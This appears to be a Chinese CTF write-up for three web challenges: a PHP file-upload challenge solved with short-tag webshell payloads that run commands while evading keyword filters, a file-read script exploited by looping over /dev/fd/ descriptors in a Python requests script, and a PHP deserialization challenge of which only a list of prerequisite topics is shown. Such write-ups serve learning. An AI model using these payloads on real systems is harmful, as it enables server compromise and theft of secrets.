题解
1.one_last_image

进来以后发现是个文件上传的题,然后就试着传一个php文件上去
发现里面给出了uploads的路径,访问。如果是空的php进去会发现什么都没有,为了绕过对常见的php标签以及命令执行函数的限制,我们用短标签。
<?=`env`;
或
<?=('sys'.'tem')('env');
然后顺着操作即可。然后其他人说在phpinfo里面可以找到,
2.Vibe SEO
看到这个题还是很蒙的,因为界面里什么都没有。然后了解了一下才知道站点地图是什么。
站点地图(sitemap.xml)是一个XML格式的文件,它列出了网站中所有重要的网页URL,并可以附带每个URL的额外信息(例如最后更新时间、更新频率、相对重要性等),主要作用是帮助搜索引擎更高效、全面地抓取和索引网站内容。
以下是它的核心要点:
核心作用
引导搜索引擎爬虫:特别是对于大型、结构复杂(深层链接多)或新建立的网站,能确保搜索引擎发现所有重要页面,避免遗漏。
提示更新频率和优先级:通过 <lastmod>(最后修改时间)、<changefreq>(更新频率)和 <priority>(优先级,0.0-1.0)等可选标签,为搜索引擎抓取提供参考建议(搜索引擎不一定会完全遵循)。
加速内容索引:新发布或更新的页面可以通过提交站点地图,更快地被搜索引擎发现和收录。
文件位置
通常放置在网站的根目录下,例如:
https://www.example.com/sitemap.xml
大型网站可以使用站点地图索引文件来管理多个站点地图文件。

盲猜/aa__^^.php是个线索,
从中可以看到: 脚本正在寻找一个叫 filename 的参数readfile() 那么尝试提供一个参数 /aa__^^.php?filename=aa__^^.php 可以成功读到这个脚本的源码:
<?php
$flag = fopen('/my_secret.txt', 'r');
if (strlen($_GET['filename']) < 11) {
readfile($_GET['filename']);
} else {
echo "Filename too long";
}
很明显,我们不可能直接获得答案,因为字符限制。但是,因为fopen打开了 txt 文件并且将handle的值给了变量 flag。并且他没有对应的文件关闭操作,所以,他可以通过文件描述符来进行读取
(Linux 中一个进程打开一个文件时,内核会分配一个文件描述符给这个文件 handle,新打开的文件从 3 开始递增,可以通过 /proc/self/fd/<自然数> 或 /dev/fd/<自然数> 来访问这些文件描述符 )
遍历操作:
import requests
URL = "http://REPLACE TO YOUR URL"
for i in range(99):
print(requests.get(URL + f"/aa__^^.php?filename=/dev/fd/{i}").text)
3.popself
这题对于小白来讲还是不太友好,有这么一些前置知识是需要了解的。
-
对魔术方法的基础利用(上b站看看)
-
php低版本非法传参机制
-
php md5值与数值字符串强弱比较问题
-
可变函数的数组调用


